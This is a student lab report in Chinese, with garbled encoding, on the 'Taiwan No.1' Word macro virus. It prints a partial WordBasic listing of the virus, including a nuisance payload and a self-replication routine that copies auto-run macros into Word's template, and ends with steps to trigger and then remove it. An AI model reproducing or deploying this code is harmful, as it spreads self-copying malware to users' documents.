計(jì)算機(jī)病毒原理-臺(tái)灣1號(hào)病毒實(shí)驗(yàn)報(bào)告

計(jì)算機(jī)病毒原理-臺(tái)灣1號(hào)病毒實(shí)驗(yàn)報(bào)告計(jì)算機(jī)病毒實(shí)驗(yàn)報(bào)告姓名：學(xué)號(hào):老師：日期：

con=(con*nm(i))

Ifi=4Then

tog$=tog$+Str$(nm(4))+"=?"

Gotobeg

EndIf

tog$=tog$+Str$(nm(i))+"*"

Nexti

rem隨機(jī)選出四個(gè)千位數(shù),以便等一下的游戲

beg:

Beep

rem電腦發(fā)出"嗶"一聲

ans$=InputBox$("今天是"+Date$()+",跟你玩一個(gè)心算游戲"

+Chr$(13)+/

"若你答錯(cuò),只好接受震撼教育.............."+Chr$(13)+/

tog$,"臺(tái)灣NO.1MacroVirus")

rem開個(gè)對(duì)話盒,以便輸入解答用

IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))Then

MsgBox"恭賀你答對(duì)了,按確定就告訴你想知道的....",/

"臺(tái)灣NO.1MacroVirus"

FileNewDefault

CenterPara

FormatFont.Font="細(xì)明體",.Points=16,.Bold=1,.Underline=1

Beep

Insert"何謂巨集病毒？"

InsertPara

Beep

Insert"答案:"

Italic1

Insert"我就是....."

InsertPara

InsertPara

Italic0

FormatFont.Font="細(xì)明體",.Points=16,.Bold=1,.Underline=1

Beep

Insert"如何預(yù)防巨集病毒？"

InsertPara

Beep

Insert"答案:"

Italic1

Insert"不要看我....."

Gotoexit

Else

Forj=1To20

Beep

FileNewDefault

Nextj

CenterPara

FormatFont.Font="細(xì)明體",.Points=16,.Bold=1,.Underline=1

Insert"巨集病毒"

Gototry

EndIf

Wend

EndIf

nor=CountMacros(0)

Ifnor>0Then

Forkk=1Tonor

IfMacroName$(kk,0)="AutoOpen"Thent=1

EndIf

Nextkk

EndIf

file$=FileName$()

filem$=file$+":AutoOpen"

Ift<>1Then

MacroCopyfilem$,"AutoOpen"

MacroCopyfilem$,"AutoNew"

MacroCopyfilem$,"AutoClose"

EndIf

nor1=CountMacros(1)

Ifnor1>0Then

Forkkk=1Tonor1

IfMacroName$(kkk,1)="AutoOpen"Thentt=1

EndIf

Nextkkk

EndIf

Iftt<>1Then

FileSaveAs.Format=1

MacroCopy"AutoOpen",filem$

EndIf

exit:

EndSub該病毒的效果如下：當(dāng)打開被感染的word文檔時(shí)，首先進(jìn)行自我復(fù)制，感染word模板，然后檢查日期，看是否是1日（即在每月的1日會(huì)發(fā)作），然后跳出一個(gè)對(duì)話框，要求用戶進(jìn)行一次心算游戲，這里只用四個(gè)小于10的數(shù)相乘，如果作者的計(jì)算正確，那么就會(huì)新建一個(gè)文檔，跳出如下字幕：何謂宏病毒答案：我就是......將系統(tǒng)日期設(shè)為XX月1號(hào)如果答錯(cuò)，就會(huì)不停地刷屏，然后繼續(xù)讓你答題，否則跳出如下界面:計(jì)算機(jī)宏病毒1).新建Word文檔并打開2).調(diào)出開發(fā)工具,設(shè)置宏的等級(jí)，啟用宏3).創(chuàng)建宏，命名AutoExec編輯4).編輯宏，語法上注意VBA版本保存5).關(guān)閉所有Word（必須）6).再次打開Word文檔，宏病毒爆發(fā),彈出剛剛編寫的msgbox窗口7).啟動(dòng)任務(wù)管理器結(jié)束進(jìn)程搜索winword.exe文件，并確定復(fù)制其位置8).啟用CMD,定位winword位置：輸入命令，用參數(shù)來打開安全模式winword.exe/a（執(zhí)行此命令2次）第一次安全模式第二次新建文檔進(jìn)行宏的打開設(shè)置來禁用宏9).搜索normal.dotm等模板文件，若搜索不出東西，在高級(jí)選項(xiàng)中選中搜索隱藏文件及系統(tǒng)文件即可，并刪除那個(gè)文件夾下的所有模板10).簡易擺脫宏完成，重新打開word